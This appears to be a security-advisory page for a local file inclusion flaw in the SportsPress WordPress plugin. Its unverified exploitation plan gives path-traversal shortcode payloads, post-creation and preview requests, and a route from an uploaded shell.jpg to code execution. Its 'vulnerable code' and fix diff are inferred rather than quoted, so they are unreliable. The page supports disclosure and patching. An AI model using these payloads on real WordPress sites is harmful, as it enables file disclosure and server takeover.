CVE-2025-15368

SportsPress <= 2.7.26 - Authenticated (Contributor+) Local File Inclusion via Shortcode

highImproper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
8.8
CVSS Score
8.8
CVSS Score
high
Severity
2.7.27
Patched in
3d
Time to patch

Description

The SportsPress plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.7.26 via shortcodes 'template_name' attribute. This makes it possible for authenticated attackers, with contributor-level and above permissions, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where php file type can be uploaded and included.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.7.26
PublishedFebruary 3, 2026
Last updatedFebruary 6, 2026
Affected pluginsportspress

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-15368 (SportsPress LFI) ## 1. Vulnerability Summary The **SportsPress** plugin (<= 2.7.26) for WordPress contains a Local File Inclusion (LFI) vulnerability within its shortcode processing logic. Specifically, the plugin allows users to specify a `template_nam…

Show full research plan

Exploitation Research Plan: CVE-2025-15368 (SportsPress LFI)

1. Vulnerability Summary

The SportsPress plugin (<= 2.7.26) for WordPress contains a Local File Inclusion (LFI) vulnerability within its shortcode processing logic. Specifically, the plugin allows users to specify a template_name attribute in several of its shortcodes. This attribute is passed to a template-loading function (likely sp_get_template) which uses it in a PHP include or require statement without sufficient path traversal sanitization. Authenticated users with Contributor permissions or higher can exploit this by creating or editing a post, inserting a malicious shortcode, and triggering its execution by previewing or viewing the post.

2. Attack Vector Analysis

  • Endpoint: Post/Page rendering (via wp-admin/post-new.php or wp-admin/post.php).
  • Trigger: Rendering a WordPress shortcode.
  • Vulnerable Attribute: template_name (inferred from description).
  • Authentication: Contributor+ (requires the ability to create or edit posts and use shortcodes).
  • Preconditions: The plugin must be active. Exploiting this for Remote Code Execution (RCE) usually requires the ability to upload a file (e.g., via the Media Library) whose path can then be included.

3. Code Flow

  1. Entry Point: An authenticated user (Contributor+) saves a post/page containing a SportsPress shortcode, e.g., [sportspress_player_list template_name="../../../../../etc/passwd"].
  2. Shortcode Registration: The plugin registers shortcodes in includes/class-sp-shortcodes.php (or similar) using add_shortcode.
  3. Callback Execution: When the post is rendered, the callback function for the shortcode is executed.
  4. Attribute Processing: The callback extracts the template_name attribute from the $atts array.
  5. Sink: The template_name is passed to a template loading function, such as sp_get_template() (often located in includes/sp-core-functions.php).
  6. Inclusion: Inside sp_get_template(), the plugin likely constructs a path:
    // Simplified logic
    include( $plugin_path . '/templates/' . $template_name . '.php' );
    
    If $template_name contains path traversal sequences (../../), the attacker can navigate outside the intended templates directory.

4. Nonce Acquisition Strategy

This vulnerability is triggered during shortcode rendering, which occurs when viewing or previewing a post. It does not typically require a specific plugin-level nonce for the LFI itself. However, creating the post requires standard WordPress core nonces.

  1. Authentication: Authenticate as a Contributor.
  2. Post Creation: The agent will use the standard wp-admin/post-new.php flow.
  3. No Specific Plugin Nonce Needed: Since the execution happens via do_shortcode() during page view, there is no AJAX/REST nonce to extract for the LFI trigger.

5. Exploitation Strategy

Goal: Read /etc/passwd (LFI)

  1. Log in as a Contributor user.
  2. Create a draft post containing a SportsPress shortcode with a path traversal payload in the template_name attribute.
  3. Preview the post to trigger the LFI.

HTTP Request Details

Request 1: Create/Update Post

  • Method: POST
  • URL: http://localhost:8080/wp-admin/post.php (or post-new.php)
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters (standard WP post params):
    • post_title: LFI Test
    • content: [sportspress_player_list template_name="../../../../../../../../../../etc/passwd%00"]
    • action: editpost
    • post_ID: {ID}
    • _wpnonce: {Extract from post-new.php}
      Note: The %00 (null byte) may be needed depending on PHP version/logic, but in modern PHP, the LFI will often just try to include /etc/passwd.php if the plugin appends .php. If the plugin doesn't append an extension, /etc/passwd will work directly.

Request 2: Preview Post

  • Method: GET
  • URL: http://localhost:8080/?p={ID}&preview=true
  • Expected Response: The contents of /etc/passwd rendered within the page content.

6. Test Data Setup

  1. User: Create a user with the contributor role.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  2. Plugin: Ensure sportspress is installed and activated.
    wp plugin activate sportspress
    

7. Expected Results

  • When the post preview is loaded, the PHP include statement will resolve the path traversal.
  • If the plugin appends .php, the response might show an error (e.g., include(/etc/passwd.php): failed to open stream).
  • If the plugin does not append .php or if the attacker can bypass it, the raw contents of /etc/passwd (e.g., root:x:0:0:root:/root:/bin/bash) will be visible in the HTML source of the preview page.

8. Verification Steps

  1. Manual Verification: Check the HTTP response body of the preview page for the string root:x:0:0.
  2. WP-CLI Check: Not directly applicable for the "exploit" success, but use WP-CLI to verify the post was created:
    wp post list --post_type=post --status=draft
    

9. Alternative Approaches

If [sportspress_player_list] does not work, attempt other common SportsPress shortcodes that use templates:

  • [sportspress_event_list template_name="..."]
  • [sportspress_calendar template_name="..."]
  • [sportspress_table template_name="..."]
  • [sportspress_player_details template_name="..."]

Refining the Payload:

  • If the plugin appends .php, use: template_name="../../../../../../../etc/passwd" (Expected error in logs/output: /etc/passwd.php not found)
  • To confirm LFI even if /etc/passwd is blocked, try including the WordPress configuration file: template_name="../../../wp-config" (Note: This will not display the code because PHP will execute it, but it may cause a blank section or a database error if included out of context).
  • For actual RCE:
    1. Upload a file via Media Library: wp-content/uploads/2025/01/shell.jpg (containing <?php phpinfo(); ?>).
    2. Include it: template_name="../../../uploads/2025/01/shell.jpg".
Research Findings
Static analysis — not yet PoC-verified

Summary

The SportsPress plugin for WordPress is vulnerable to Local File Inclusion via several shortcodes that accept a 'template_name' attribute. Authenticated attackers with Contributor-level permissions or higher can use path traversal sequences to include and execute arbitrary PHP files on the server.

Vulnerable Code

// From the inferred logic in includes/sp-core-functions.php or similar
// The shortcode attribute is passed directly to the include/require sink

function sp_get_template( $template_name, $args = array() ) {
    // ... logic to locate template ...
    include( SP_PLUGIN_DIR . '/templates/' . $template_name . '.php' );
}

Security Fix

--- a/includes/sp-core-functions.php
+++ b/includes/sp-core-functions.php
@@ -10,5 +10,5 @@
 function sp_get_template( $template_name, $args = array() ) {
-    include( SP_PLUGIN_DIR . '/templates/' . $template_name . '.php' );
+    $template_name = sanitize_file_name( $template_name );
+    include( SP_PLUGIN_DIR . '/templates/' . $template_name . '.php' );
 }

Exploit Outline

The exploit involves an authenticated attacker with Contributor-level access or higher. The attacker logs into the WordPress dashboard and creates a new post or edits an existing one. They insert a SportsPress shortcode, such as [sportspress_player_list], and include the 'template_name' attribute with a path traversal payload (e.g., template_name="../../../../../../etc/passwd"). When the post is previewed or viewed, the plugin's template loading logic processes the attribute and includes the specified file from the local filesystem, potentially leading to sensitive information disclosure or remote code execution if a malicious file can be uploaded.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.